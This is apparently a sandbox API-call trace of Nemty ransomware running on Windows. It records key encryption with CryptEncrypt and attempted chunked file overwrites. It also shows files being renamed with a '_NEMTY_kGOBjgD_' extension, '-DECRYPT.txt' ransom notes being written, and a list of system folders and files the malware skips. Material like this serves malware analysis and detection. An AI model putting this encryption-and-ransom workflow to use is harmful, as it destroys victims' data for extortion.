[0113.186] Sleep (dwMilliseconds=0x5) [0113.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf71d3db0, dwHighDateTime=0x1d561e7)) [0113.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf71d3db0, dwHighDateTime=0x1d561e7)) [0113.191] GetLastError () returned 0xb7 [0113.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.191] GetLastError () returned 0xb7 [0113.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0113.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0113.192] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0113.192] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="uDp8CYLL05smZcCKNQNFFSeir0jHg9XOhnW2AuLq7ZIKUNzWU+4/aPhzJaJe+f75\r\n9TCAVS1j+hkjqE3bhO1ZH1GdT+s9FXl2tlvJFXyqTot+f6ZtiHPmJtmrhw2kx4Qt\r\njsV9dZgXOM5ayCN6c5+BH1bG3H74myUVR8px6bEvPq0zbJ8qOytustyRjIzW8S+G\r\nxHfQGMQAHfrhU9b+Wmq7kYKpU/XsiRvBYQ6TI3RJtSmtEQ6Q2ZCn9hYoYEmB7LEf\r\nHyMvB3P+3hUFjHw5EdgjxAwNr3oRzZGE3RjWUhtpTPHy/Qr+zQGl6P/YYonZyChx\r\nc3T79ZvQ7DX3ug9OAACtlg==\r\n", pcchString=0x653ec5c) returned 1 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0113.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0113.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.192] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.193] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0113.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0113.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0113.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.298] CloseHandle (hObject=0xffffffff) returned 0 [0113.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0113.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0113.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0113.299] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0113.299] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0113.300] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0113.300] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0113.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0113.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0113.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0113.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0113.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0113.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0113.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0113.300] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0113.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0113.303] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.303] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0113.304] CloseHandle (hObject=0x1ec) returned 1 [0113.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0113.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340310 [0113.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0113.304] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0113.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0113.305] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.305] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0113.306] CloseHandle (hObject=0x1ec) returned 1 [0113.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0113.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, 